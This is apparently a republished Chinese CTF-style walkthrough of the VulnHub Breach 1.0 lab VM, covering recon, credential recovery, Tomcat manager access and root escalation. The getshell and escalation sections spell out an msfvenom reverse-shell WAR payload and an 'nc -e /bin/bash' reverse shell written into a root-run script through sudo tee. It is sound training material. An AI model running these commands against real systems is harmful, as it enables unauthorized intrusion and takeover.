VulnHub渗透测试实战靶场 - Breach 1.0

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了VulnHub渗透测试实战靶场 - Breach 1.0相关的知识,希望对你有一定的参考价值。

环境下载

戳此进行环境下载

Breach-1.0靶机搭建

将下载好的靶机环境,用VMware导入即可使用


VMware虚拟机配置有静态IP地址:192.168.110.140,需要将虚拟机网卡设置为host-only方式

  • 攻击机IP:192.168.110.128
  • 靶机IP:192.168.110.140



渗透测试

信息搜集

使用arp-scan来检测我们的目标IP:sudo arp-scan -l

使用nmap扫描开放的端口:sudo nmap -sS -A 192.168.110.140 -oN Breach.txt,发现端口基本上都是开放的,直接访问80端口

漏洞挖掘

查看源码发现base64字符串

两次base64解密后得到:pgibbons:damnitfeel$goodtobeagang$ta

点击图片后发现会跳转到另外一个存在登录选项的页面
用前面解码得到的pgibbons:damnitfeel$goodtobeagang$ta进行登录

搜索相关漏洞,测试后发现无法利用,但是注意到有三封邮件,在第三封邮件中发现有一个peter的SSL证书被保存在192.168.110.140/.keystore

keystore是存储公私密钥的一种文件格式,访问http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件

依次访问左边的菜单树,点击每个菜单栏:

  • content链接了一张图片troll.gif
  • 点击profile和banners会进入目录浏览



在View Account菜单进入界面的页面中的Content中存在一个链接Content SSL implementation test capture
点击链接跳转到http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包


用wireshark打开下载的pacp包,发现内容经过了SSL加密,由下载页面的提示得到密码为tomcat,先查看keystore这个密匙库里面的所有证书

从密钥库导出.p12证书:sudo keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat,在Wireshark中打开_SSL_test_phase1.pcap流量包文件,将tomcatkeystore.p12证书导入Wireshark,选择菜单:编辑–首选项–Protocols–SSL,点击右边的Edit

导入SSL证书之后,发现部分TLS变成了HTTP,发现从192.168.110.129到192.168.110.140的攻击流量包,其中有cmd命令马执行了id命令,攻击者上传了两张图片,疑似图片马,但是命令马无法直接访问,需要登录tomcat后台


继续观察流量包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

发现包含登录用户名密码的数据包, 采用http basic认证
认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
Tomcat后台登录用户名:tomcat,密码:Tt\\5D8F(#!*u=G)4m7zB

这里测试后发现直接访问网站貌似不得行,利用burpsuite代理访问成功

getshell

Tomcat后台getshell是有标准姿势的,测试后发现上传的马很快就会消失
利用msf生成一个war格式的反弹shell:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=1234 -f war -o shell.war

用msf开启监听:use exploit/multi/handler,将生成的war格式的反弹shell马上传到Tomcat
马上访问https://192.168.110.140:8443/shell/,成功反弹shell

提权

将shell升级为 tty,得到一个交互式的shell:python -c 'import pty;pty.spawn("/bin/bash")'

收集主机信息,发现没有内核提权,在/etc/passwd发现miltonblumbergh用户

查阅网站信息时发现在/var/www/5446文件夹内存在mysql数据库连接文件

登录mysql数据库,发现milton的密码,将得到的哈希后的密码解密得到明文密码:thelaststraw

登录milton,发现它并不属于sudo组,看到历史命令中通过su提权到了blumbergh用户,猜测应该有blumbergh用户的密码


在最开始时发现了一些图片,在bill.png中找到了密码:coffeestains


切换到blumbergh用户,sudo -l查看权限,用户能够以root权限执行这tee程序和tidyup.sh脚本:/usr/bin/tee/usr/share/cleanup/tidyup.sh,其中tee命令用于读取标准输入的数据,并将其内容输出成文件,tidyup.sh是清理脚本

向tidyup.sh中写入反弹shell命令,由于能够以root权限运行tee命令,即可以用tee命令写tidyup.sh

  • 先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:echo "nc -e /bin/bash 192.168.110.128 4321" > shell.txt
  • 再使用tee命令将shell.txt内容输出到tidyup.sh:cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

起一个监听,成功反弹shell,查看权限

flag图片

以上是关于VulnHub渗透测试实战靶场 - Breach 1.0的主要内容,如果未能解决你的问题,请参考以下文章

VulnHub渗透测试实战靶场 - Odin:1

VulnHub渗透测试实战靶场 - Funbox: Lunchbreaker

VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

VulnHub渗透测试实战靶场-HA: FORENSICS

VulnHub渗透测试实战靶场 - FUNBOX: CTF

VulnHub渗透测试实战靶场 - Funbox: GaoKao